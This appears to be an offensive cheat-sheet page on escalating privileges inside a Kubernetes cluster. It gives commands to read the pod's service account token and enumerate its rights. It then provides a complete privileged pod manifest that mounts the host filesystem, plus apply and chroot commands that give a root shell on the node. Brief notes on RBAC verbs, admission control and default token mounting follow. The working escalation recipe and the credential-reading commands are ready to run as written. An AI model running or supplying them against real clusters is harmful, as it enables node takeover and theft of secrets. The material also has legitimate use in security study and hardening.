Exploit cluster permissions

Escalate through the cluster’s own API rather than through the container boundary:

  1. Read the service account token the pod was given and establish what it may do

  2. Ask the API for a pod that has what the current one lacks

cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace

kubectl auth can-i --list

Example: create a pod, get the node

Permission to create pods in a namespace is usually equivalent to root on whichever node schedules them, because a pod specification is allowed to ask for the things a container escape would otherwise have to take.

apiVersion: v1
kind: Pod
metadata:
  name: maintenance
spec:
  hostPID: true
  hostNetwork: true
  containers:
    - name: shell
      image: alpine
      command: ["sleep", "infinity"]
      securityContext:
        privileged: true
      volumeMounts:
        - name: host
          mountPath: /host
  volumes:
    - name: host
      hostPath:
        path: /
kubectl apply -f maintenance.yaml
kubectl exec -it maintenance -- chroot /host /bin/sh

Other verbs reach the same place by shorter routes. Reading secrets in a namespace collects whatever tokens live there, pods/exec enters a pod that is already more privileged, and permission to create a workload controller creates pods indirectly where direct creation is denied.

Notes

The escalate verb exists in the authorisation model precisely because a principal otherwise cannot grant permissions it does not hold. Where it has been granted, role editing is unrestricted. The bind verb reaches the same outcome by attaching an existing role rather than writing a new one.

Admission control is what stands between a pod specification and the node, so the question of whether privileged pods are refused is separate from the question of who may create pods. A cluster without an enforcing admission policy treats the two as the same permission.

Service account tokens are mounted into pods by default unless the account or the pod opts out, so a compromised application usually holds one whether or not it was ever meant to talk to the API.

A node’s own credentials are scoped by the node authoriser to the objects scheduled on it, which limits what reaching one node yields, and does nothing about the workloads already running there.